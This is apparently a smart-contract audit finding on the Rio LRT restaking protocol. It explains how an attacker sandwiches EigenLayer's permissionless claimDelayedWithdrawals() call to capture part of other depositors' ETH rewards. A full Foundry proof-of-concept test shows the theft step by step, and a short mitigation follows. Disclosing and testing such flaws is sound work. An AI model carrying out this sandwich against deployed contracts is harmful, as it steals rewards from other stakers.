A part of ETH rewards can be stolen by sandwiching `claimDelayedWithdrawals()`
Rewards can be stolen by sandwiching the call to EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals().\\nThe protocol handles ETH rewards by sending them to the rewards distributor. There are at least 3 flows that end-up sending funds there:\\nWhen the function RioLRTOperatorDelegator::scrapeNonBeaconChainETHFromEigenPod() is called to scrape non beacon chain ETH from an Eigenpod.\\nWhen a validator receives rewards via partial withdrawals after the function EigenPod::verifyAndProcessWithdrawals() is called.\\nWhen a validator exists and has more than 32ETH the excess will be sent as rewards after the function EigenPod::verifyAndProcessWithdrawals() is called.\\nAll of these 3 flows end up queuing a withdrawal to the rewards distributor. After a delay the rewards can claimed by calling the permissionless function EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), this call will instantly increase the TVL of the protocol.\\nAn attacker can take advantage of this to steal a part of the rewards:\\nMint a sensible amount of `LRTTokens` by depositing an accepted asset\\nCall EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), after which the value of the `LRTTokens` just minted will immediately increase.\\nRequest a withdrawal for all the `LRTTokens` via RioLRTCoordinator::requestWithdrawal().\\nPOC\\nChange RioLRTRewardsDistributor::receive() (to side-step a gas limit bug:\\n```\\nreceive() external payable {\\n    (bool success,) = address(rewardDistributor()).call{value: msg.value}('');\\n    require(success);\\n}\\n```\\n\\nAdd the following imports to RioLRTOperatorDelegator:\\n```\\nimport {IRioLRTWithdrawalQueue} from 'contracts/interfaces/IRioLRTWithdrawalQueue.sol';\\nimport {IRioLRTOperatorRegistry} from 'contracts/interfaces/IRioLRTOperatorRegistry.sol';\\nimport {CredentialsProofs, BeaconWithdrawal} from 'test/utils/beacon-chain/MockBeaconChain.sol';\\n```\\n\\nTo copy-paste in RioLRTOperatorDelegator.t.sol:\\n```\\nfunction test_stealRewards() public {\\n    address alice = makeAddr("alice");\\n    address bob = makeAddr("bob");\\n    uint256 aliceInitialBalance = 40e18;\\n    uint256 bobInitialBalance = 40e18;\\n    deal(alice, aliceInitialBalance);\\n    deal(bob, bobInitialBalance);\\n    vm.prank(alice);\\n    reETH.token.approve(address(reETH.coordinator), type(uint256).max);\\n    vm.prank(bob);\\n    reETH.token.approve(address(reETH.coordinator), type(uint256).max);\\n\\n    //->Operator delegator and validators are added to the protocol\\n    uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry, address(reETH.rewardDistributor));\\n    RioLRTOperatorDelegator operatorDelegator =\\n        RioLRTOperatorDelegator(payable(reETH.operatorRegistry.getOperatorDetails(operatorId).delegator));\\n\\n    //-> Alice deposits ETH in the protocol\\n    vm.prank(alice);\\n    reETH.coordinator.depositETH{value: aliceInitialBalance}();\\n    \\n    //-> Rebalance is called and the ETH deposited in a validator\\n    vm.prank(EOA, EOA);\\n    reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n    //-> Create a new validator with a 40ETH balance and verify his credentials.\\n    //-> This is to "simulate" rewards accumulation\\n    uint40[] memory validatorIndices = new uint40[](1);\\n    IRioLRTOperatorRegistry.OperatorPublicDetails memory details = reETH.operatorRegistry.getOperatorDetails(operatorId);\\n    bytes32 withdrawalCredentials = operatorDelegator.withdrawalCredentials();\\n    beaconChain.setNextTimestamp(block.timestamp);\\n    CredentialsProofs memory proofs;\\n    (validatorIndices[0], proofs) = beaconChain.newValidator({\\n        balanceWei: 40 ether,\\n        withdrawalCreds: abi.encodePacked(withdrawalCredentials)\\n    });\\n    \\n    //-> Verify withdrawal crendetials\\n    vm.prank(details.manager);\\n    reETH.operatorRegistry.verifyWithdrawalCredentials(\\n        operatorId,\\n        proofs.oracleTimestamp,\\n        proofs.stateRootProof,\\n        proofs.validatorIndices,\\n        proofs.validatorFieldsProofs,\\n        proofs.validatorFields\\n    );\\n\\n    //-> A full withdrawal for the validator is processed, 8ETH (40ETH - 32ETH) will be queued as rewards\\n    verifyAndProcessWithdrawalsForValidatorIndexes(address(operatorDelegator), validatorIndices);\\n\\n    //-> Bob, an attacker, does the following:\\n    //      1. Deposits 40ETH and receives ~40e18 LRTTokens\\n    //      2. Cliam the withdrawal for the validator, which will instantly increase the TVL by ~7.2ETH\\n    //      3. Requests a withdrawal with all of the LRTTokens \\n    {\\n        //1. Deposits 40ETH and receives ~40e18 LRTTokens\\n        vm.startPrank(bob);\\n        reETH.coordinator.depositETH{value: bobInitialBalance}();\\n\\n        //2. Cliam the withdrawal for the validator, which will instantly increase the TVL by ~7.2ETH\\n        uint256 TVLBefore = reETH.assetRegistry.getTVL();\\n        delayedWithdrawalRouter.claimDelayedWithdrawals(address(operatorDelegator), 1); \\n        uint256 TVLAfter = reETH.assetRegistry.getTVL();\\n\\n        //->TVL increased by 7.2ETH\\n        assertEq(TVLAfter - TVLBefore, 7.2e18);\\n\\n        //3. Requests a withdrawal with all of the LRTTokens \\n        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, reETH.token.balanceOf(bob));\\n        vm.stopPrank();\\n    }\\n    \\n    //-> Wait and rebalance\\n    skip(reETH.coordinator.rebalanceDelay());\\n    vm.prank(EOA, EOA);\\n    reETH.coordinator.rebalance(ETH_ADDRESS);\\n\\n    //-> Bob withdraws the funds he requested\\n    vm.prank(bob);\\n    reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimRequest({asset: ETH_ADDRESS, epoch: 0}));\\n\\n    //-> Bob has stole ~50% of the rewards and has 3.59ETH more than he initially started with\\n    assertGt(bob.balance, bobInitialBalance);\\n    assertEq(bob.balance - bobInitialBalance, 3599550056000000000);\\n}\\n```\\n
When requesting withdrawals via RioLRTCoordinator::requestWithdrawal() don't distribute the rewards received in the current epoch.
Rewards can be stolen by sandwiching the call to EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), however this requires a bigger investment in funds the higher the protocol TVL.
```\\nreceive() external payable {\\n    (bool success,) = address(rewardDistributor()).call{value: msg.value}('');\\n    require(success);\\n}\\n```\\n